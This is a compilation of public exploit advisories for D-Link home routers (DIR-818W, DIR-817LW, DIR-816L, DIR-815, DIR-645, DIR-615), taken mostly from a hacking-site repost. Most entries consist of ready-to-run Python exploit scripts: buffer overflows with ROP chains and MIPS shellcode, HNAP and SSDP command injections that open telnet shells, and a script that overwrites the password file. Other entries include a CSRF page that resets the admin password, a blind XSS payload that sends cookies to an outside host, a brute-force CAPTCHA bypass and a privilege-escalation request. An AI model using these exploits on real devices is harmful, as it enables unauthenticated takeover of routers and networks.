Title: DIR-818W Buffer overflows and Command injection in authentication and HNAP functionalities
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None


Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. 

## Product Description

DIR-818W -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 3 security issues in DIR-818W firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed.

## Details

Buffer overflow in auth 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

#Reboot shellcode in there
'''
2096 after id GET param, you can control the RA
'''

buf = "GET /dws/api/Login?id="
buf+="A"*2064+"AAAA" #S0 # uclibc system address
buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
buf+="\x2A\xB1\x4D\xF0" #JUNK S3
buf+="\x2A\xB1\x4D\xF0" #JUNK S4
buf+="\x2A\xB1\x4D\xF0" #JUNK S5
buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission
buf+="\x2A\xB1\x4D\xF0" #JUNK S7
buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which is called)
buf+="C"*36 # 
buf+="\x2A\xAC\xD5\xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps to ROP4 which calls SP+16 stored in S4)
buf+="E"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #Reboot shellcode Big endian 
buf+="Y"*120 
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------


Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

'''
548 characters after SOapaction:http://purenetworks.com/HNAP1/GetDeviceSettings/ should work, although sprintf copies twice so only 242 characters are required including /var/run and /etc/templates/hnap which is concatenated with your string to create 548 characters
'''

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158
buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK
buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission
buf+="AAAA" #s7 JUNK
buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which is called)
buf+="C"*36
buf+="\x2A\xAC\xD5\xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps to ROP4 which calls SP+16 stored in S4)
buf+="C"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #Reboot shellcode Big endian 
buf+="B"*28+"\r\n" + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------

Command injection 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# CSRF or any other trickery, but probably only works when connected to network I suppose for v2.02

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';telnetd -p 9090;\r\n' + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
HireHackking 
## Advisory Information

Title: DIR-817LW Buffer overflows and Command injection in authentication and HNAP functionalities
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.  

## Product Description

DIR-817LW -- Wireless AC750 Dual Band Cloud Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed.

## Details

Buffer overflow in auth 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

#Reboot shellcode in there


buf = "GET /dws/api/Login?id="
buf+="A"*2064+"AAAA" #s0 # uclibc system address
buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret
buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xAC\xAD\x70" # Retn address  ROP gadget 1 that loads into $a0
buf+="C"*36 # 
buf+="\x2A\xAC\xD5\xB4" # points to rop3 
#buf+="1"*17 # exit payload
buf+="E"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian 
buf+="Y"*120 # ROP gadget 2 that loads into $t9
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.8", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------


Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# Working

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158
buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret
buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5
buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission
buf+="AAAA"
buf+="\x2A\xAC\xAD\x70" # Retn address  ROP gadget 1 that loads into $a0
buf+="C"*36
buf+="\x2A\xAC\xD5\xB4" # points to rop3 
buf+="C"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian shell
buf+="B"*28+"\r\n" + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.8", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------

Command injection 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# CSRF or any other trickery, but probably only works when connected to network I suppose and internal

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';echo "<?phpinfo?>" > passwd1.php;telnetd -p 9090;test\r\n' + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.2.3.4", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
HireHackking 
----------------------------------------------------------------------------------------------

Title:
====

D-link wireless router DIR-816L – Cross-Site Request Forgery (CSRF) vulnerability

Credit:
======

Name: Bhadresh Patel
Company/affiliation: HelpAG
Website: www.helpag.com

CVE:
=====
CVE-2015-5999

Date:
====

10-11-2015 (dd/mm/yyyy)

Vendor:
======
D-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.

Product:
=======
DIR-816L is a wireless AC750 Dual Band Cloud Router

Product link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L


Abstract:
=======

Cross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.

Report-Timeline:
============
27-07-2015: Vendor notification
27-07-2015: Vendor Response/Feedback
05-11-2015: Vendor Fix/Patch
10-11-2015: Public or Non-Public Disclosure
Affected Version:
=============
<=2.06.B01

Exploitation-Technique:
===================
Remote

Severity Rating:
===================

7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)
Details:
=======
An attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.


Proof Of Concept:
================

1) User login to DIR-816L wireless router
2) User visits the attacker's malicious web page (attacker.html)
3) attacker.html exploits CSRF vulnerability and changes the admin account password
PoC video link: http://youtu.be/UBdR2sUc8Wg
Exploit code (attacker.html):
<html>
<body>
<iframe style="display:none" name="hiddenpost"></iframe>
<form action="http://192.168.0.1/hedwig.cgi" method="POST" enctype="text/plain" target="hiddenpost" id="csrf">
<input type="hidden" name="<&#63;xml&#32;version" value=""1&#46;0"&#32;encoding&#61;"UTF&#45;8"&#63;>&#10;<postxml>&#10;<module>&#10;&#9;<service>DEVICE&#46;ACCOUNT<&#47;service>&#10;&#9;<device>&#10;&#9;&#9;<gw&#95;name>DIR&#45;816L<&#47;gw&#95;name>&#10;&#9;&#9;&#10;&#9;&#9;<account>&#10;&#9;&#9;&#9;<seqno>1<&#47;seqno>&#10;&#9;&#9;&#9;<max>2<&#47;max>&#10;&#9;&#9;&#9;<count>1<&#47;count>&#10;&#9;&#9;&#9;<entry>&#10;&#9;&#9;&#9;&#9;<uid>USR&#45;<&#47;uid>&#10;&#9;&#9;&#9;&#9;<name>Admin<&#47;name>&#10;&#9;&#9;&#9;&#9;<usrid&#47;>&#10;&#9;&#9;&#9;&#9;<password>password<&#47;password>&#10;&#9;&#9;&#9;&#9;<group>0<&#47;group>&#10;&#9;&#9;&#9;&#9;<description&#47;>&#10;&#9;&#9;&#9;<&#47;entry>&#10;&#9;&#9;<&#47;account>&#10;&#9;&#9;<group>&#10;&#9;&#9;&#9;<seqno&#47;>&#10;&#9;&#9;&#9;<max&#47;>&#10;&#9;&#9;&#9;<count>0<&#47;count>&#10;&#9;&#9;<&#47;group>&#10;&#9;&#9;<session>&#10;&#9;&#9;&#9;<captcha>1<&#47;captcha>&#10;&#9;&#9;&#9;<dummy&#47;>&#10;&#9;&#9;&#9;<timeout>180<&#47;timeout>&#10;&#9;&#9;&#9;<maxsession>128<&#47;maxsession>&#10;&#9;&#9;&#9;<maxauthorized>16<&#47;maxauthorized>&#10;&#9;&#9;<&#47;session>&#10;&#9;<&#47;device>&#10;<&#47;module>&#10;<module>&#10;&#9;<service>HTTP&#46;WAN&#45;1<&#47;service>&#10;&#9;<inf>&#10;&#9;&#9;<web><&#47;web>&#10;&#9;&#9;<https&#95;rport><&#47;https&#95;rport>&#10;&#9;&#9;<stunnel>1<&#47;stunnel>&#10;&#9;&#9;<weballow>&#10;&#9;&#9;&#9;<hostv4ip&#47;>&#10;&#9;&#9;<&#47;weballow>&#10;&#9;&#9;<inbfilter&#47;>&#10;&#9;<&#47;inf>&#10;&#9;&#10;<&#47;module>&#10;<module>&#10;&#9;<service>HTTP&#46;WAN&#45;2<&#47;service>&#10;&#9;<inf>&#10;&#9;&#9;<active>0<&#47;active>&#10;&#9;&#9;<nat>NAT&#45;1<&#47;nat>&#10;&#9;&#9;<web&#47;>&#10;&#9;&#9;<weballow>&#10;&#9;&#9;&#9;<hostv4ip&#47;>&#10;&#9;&#9;<&#47;weballow>&#10;&#9;<&#47;inf>&#10;&#9;&#10;<&#47;module>&#10;<module>&#10;&#9;<service>INBFILTER<&#47;service>&#10;&#9;<acl>&#10;&#9;&#9;<inbfilter>&#9;&#9;&#10;&#9;&#9;&#9;&#9;&#9;&#9;<seqno>1<&#47;seqno>&#10;&#9;&#9;&#9;<max>24<&#47;max>&#10;&#9;&#9;&#9;<count>0<&#47;count>&#10;&#10;&#9;&#9;<&#47;inbfilter>&#9;&#9;&#10;&#9;<&#47;acl>&#10;&#9;<ACTIVATE>ignore<&#47;ACTIVATE>&#10;<FATLADY>ignore<&#47;FATLADY><SETCFG>ignore<&#47;SETCFG><&#47;module>&#10;<module>&#10;&#9;<service>SHAREPORT<&#47;service>&#10;&#9;<FATLADY>ignore<&#47;FATLADY>&#10;&#9;&#10;<ACTIVATE>ignore<&#47;ACTIVATE><&#47;module>&#10;<module>&#10;&#9;<service>SAMBA<&#47;service>&#10;&#9;<samba>&#9;&#9;&#10;&#9;&#9;&#32;&#32;&#32;&#32;&#10;&#9;&#9;<enable>1<&#47;enable>&#10;&#9;&#9;<auth>1<&#47;auth>&#10;&#10;&#32;&#32;&#32;&#32;<&#47;samba>&#10;<&#47;module>&#10;<&#47;postxml>" />
</form>
<script>alert("This is CSRF PoC");document.getElementById("csrf").submit()</script>
<iframe style="display:none" name="hiddencommit"></iframe>
<form action="http://192.168.0.1/pigwidgeon.cgi" method="POST" target="hiddencommit" id="csrf1">
<input type="hidden" name="ACTIONS" value="SETCFG&#44;SAVE&#44;ACTIVATE" />
</form>
<script>document.getElementById("csrf1").submit()</script>

</body>
</html>
Patched/Fixed Firmware and notes:
==========================
2.06.B09_BETA  --  ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP
2.06.B09_BETA  --  ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF

Credits:
=======
Bhadresh Patel
Senior Security Analyst
HelpAG (www.helpag.com)
----------------------------------------------------------------------------------------------
HireHackking 
## Advisory Information

Title: SSDP command injection using UDP for a lot of Dlink routers including DIR-815, DIR-850L
Vendors contacted: William Brown <william.brown@dlink.com> (Dlink)
Release mode: Released
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

## Product Description

Many Dlink routers affected. Tested on DIR-815.

## Vulnerabilities Summary

DIR-815,850L and most of Dlink routers are susceptible to this flaw. This allows to perform command injection using SSDP packets and on UDP. So no authentication required. Just the fact that the attacker needs to be on wireless LAN or be able to fake a request coming from internal wireless LAN using some other mechanism.

## Details

# Command injection
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# This vulnerability is pretty much in every router that has cgibin and uses SSDP code in that cgibin. This one worked on the device dir-815. Will work only in WLAN


buf = 'M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:urn:schemas-upnp-org:service:WANIPConnection:1;telnetd -p 9094;ls\r\nMX:2\r\nMAN:"ssdp:discover"\r\n\r\n'

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("239.255.255.250", 1900))
s.send(buf)
s.close()


----------------------------------------------------------------------------------------------------------------------


## Report Timeline

* Jan 22, 2015: Vulnerability found by Samuel Huntley by William Brown.
* Feb 15, 2015: Vulnerability is patched by Dlink
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
HireHackking 
## Advisory Information

Title: DIR-815 Buffer overflows and Command injection in authentication and HNAP functionalities
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

## Product Description

DIR-815 -- Wireless N300 Dual Band Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed.

## Details

Buffer overflow in auth 
----------------------------------------------------------------------------------------------------------------------
import urllib
import urllib2

# This exploits the auth_main.cgi with read buffer overflow exploit for v2.02
# prequisite is just to have id and password fields in params

url = 'http://192.168.0.1/authentication.cgi'
junk = "A"*1004+"B"*37+"\x58\xf8\x40\x00" # address of system function in executable
junk+="X"*164+'echo  "Admin" "Admin" "0" > /var/passwd\x00'+"AAAA"
values = "id=test&password=test&test="+junk


req = urllib2.Request(url, values)
response = urllib2.urlopen(req)
the_page = response.read()

----------------------------------------------------------------------------------------------------------------------

Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct


# format junk+ROP1(have right value in A0) + ROP2(add or subtract to create right system address) + ROP3(Jump to right address)

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"H"*286 
buf+= "\x40\xF4\xB1\x2A" # (ROP gadget which puts right value in A0)
buf+= "B"*20+"ZZZZ"+"telnetd -p 6778"+"C"*5 # adjustment to get to the right payload
buf+="\xA0\xb2\xb4\x2a" # The system address is 2Ab4b200 so changing that in GDB just before jumping to test if it works which it does not
buf+= "\r\n" + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.2.3.4", 80))
s.send(buf)


----------------------------------------------------------------------------------------------------------------------

Command injection in 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# CSRF or any other trickery, but probably only works when connected to network I suppose 

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 99.249.143.124\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';telnetd -p 9090;\r\n' + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.1", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
HireHackking 
## Advisory Information

Title: Dlink DIR-645 UPNP Buffer Overflow
Vendors contacted: William Brown <william.brown@dlink.com> (Dlink)
Release mode: Released
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

## Product Description

DIR-645 -- Whole Home Router 1000 from Dlink. Mainly used by home and small offices.

## Vulnerabilities Summary

I have come across 2 security issues in DIR-645 firmware which allows an attacker on wireless LAN and possibly WAN network to execute command injection and buffer overflow attack against the wireless router. I have provided exploit scripts written in python that give details of the exploits. The buffer overflow does not have a payload at this time, however if you watch the exploit in a debugger, then it can be clearly seen that the payload uses ROP techniques to get to stack payload which is a bunch of C's for now on the stack. It can be replaced with any payload that works on MIPS little endian architecture.

## Details

# Command injection
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + 'test;telnetd -p 9656;test\r\n' + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------


# Buffer overflow
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

exploit_buffer = "POST /HNAP1/ HTTP/1.0\r\nHOST: 10.0.0.1\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";pt;"+"B"*158
exploit_buffer+="C"*50+"Z"*46


exploit_buffer+="\xb4\x67\xb3\x2a" 

exploit_buffer+="\xd0\xeb\xb4\x2a"
exploit_buffer+="VVVV"
a
exploit_buffer+="\x7c\xba\xb1\x2a" 
exploit_buffer+="K"*16

exploit_buffer+="\x44\x3b\xb0\x2A"
exploit_buffer+="A"*36

exploit_buffer+="\xf0\x5e\xb0\x2A"  
exploit_buffer+="H"*16
 
exploit_buffer+="C"*212+"\r\n" + "1\r\n\r\n"
 
print "[+] sending exploit_bufferfer size", len(exploit_buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 80))
s.send(exploit_buffer)
----------------------------------------------------------------------------------------------------------------------


## Report Timeline

* Jan 22, 2015: Vulnerability found by Samuel Huntley by William Brown.
* Feb 15, 2015: Vulnerability is patched by Dlink
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley
HireHackking 
######################################################################################
# Exploit Title: D-Link DIR-615 Wireless Router - Persistent Cross Site Scripting (XSS)
# Date: 14.04.2018
# Exploit Author: Sayan Chatterjee
# Vendor Homepage: http://www.dlink.co.in
# Hardware Link: http://www.dlink.co.in/products/?pid=678
# Category: Hardware (Wi-fi Router)
# Hardware Version: T1
# Firmware Version: 20.07
# Tested on: Windows 10
# CVE: CVE-2018-10110
#######################################################################################

Reproduction Steps:
------------------------------
1. Go to your wi-fi router gateway [i.e: http://192.168.0.1]
2. Go to –> “Maintenance” –> “Admin”
3. Create a user with name alert_"HI"
4. Refresh the page and you will be having “HI” popup

#######################################################################################
HireHackking 
# Exploit Title: D-Link DIR-615 Wireless Router  -  Persistent Cross-Site Scripting
# Date: 2019-12-13
# Exploit Author: Sanyam Chawla
# Vendor Homepage: http://www.dlink.co.in
# Category: Hardware (Wi-fi Router)
# Hardware Link: http://www.dlink.co.in/products/?pid=678
# Hardware Version: T1
# Firmware Version: 20.07
# Tested on: Windows 10 and Kali linux
# CVE: CVE-2019-19742

Reproduction Steps:
1. Login to your wi-fi router gateway with admin credentials [i.e: http://192.168.0.1]
2. Go to Maintenance page and click on Admin on the left panel
3. Put blind xss Payload in to the name field “><script src=https://ptguy.xss.ht></script>. This payload saved by the server and its reflected in the user page.
4. Every refresh in the user home page, the blind XSS payload executes and sends data (IP, cookies, victim user agent) to the attacker.
5. For HTML injection just put <b> Testing </b> in username field, you will get the username bold in your homepage.

#Burp Intercept

POST /form2userconfig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0)
Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/userconfig.htm
Cookie: SessionID=
Upgrade-Insecure-Requests: 1

username=*%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fptguy.xss.ht
<http://2Fptguy.xss.ht>%3E%3C%2Fscript%3E*&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send
HireHackking 
# Exploit Title: D-Link DIR-615 T1 20.10 - CAPTCHA Bypass
# Date: 2019-10-12
# Exploit Author: huzaifa hussain
# Vendor Homepage: https://in.dlink.com/
# Version: DIR-615 T1 ver:20.10
# Tested on: D-LINK ROUTER "MODEL NO: DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1
# CVE: CVE-2019-17525

D-LINK ROUTER "MODEL NO: DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1

A vulnerability found on login-in page of D-LINK ROUTER "DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1" which allows attackers to easily bypass CAPTCHA on login page by BRUTEFORCING.

------------------------------------
D-Link released new firmware designed to protect against logging in to the router using BRUTEFORCING. There is a flaw in the captcha authentication system that allows an attacker to reuse the same captcha without reloading new.

ATTACK SCENARIO AND REPRODUCTION STEPS

1: Find the ROUTER LoginPage.
2: Fill the required login credentials.
3: Fill the CAPTCH properly and Intercept the request in Burpsuit.
4: Send the Request to Intruder and select the target variables i.e. username & password which will we bruteforce under Positions Tab
5: Set the payloads on target variables i.e. username & password under Payloads Tab.
5: Set errors in (the validatecode is invalid & username or password error, try again) GREP-MATCH under Options Tab.
6: Now hit the start attack and you will find the correct credentials.

-------------------------------------

Huzaifa Hussain
HireHackking 
# Exploit Title: D-Link DIR-615 - Privilege Escalation
# Date: 2019-12-10
# Exploit Author: Sanyam Chawla
# Vendor Homepage: http://www.dlink.co.in
# Category: Hardware (Wi-fi Router)
# Hardware Link: http://www.dlink.co.in/products/?pid=678
# Hardware Version: T1
# Firmware Version: 20.07
# Tested on: Windows 10 and Kali linux
# CVE: CVE-2019-19743

# Reproduction Steps:
# Login to your wi-fi router gateway with normal user credentials [i.e: http://192.168.0.1]
# Go to the Maintenance page and click on Admin on the left panel.
# There is an option to create a user and by default, it shows only user accounts.
# Create an account with a name(i.e ptguy) and change the privileges from user to root(admin) 
# by changing privileges id (1 to 2) with burp suite.

# Privilege Escalation Post Request 

POST /form2userconfig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/userconfig.htm
Cookie: SessionID=
Upgrade-Insecure-Requests: 1

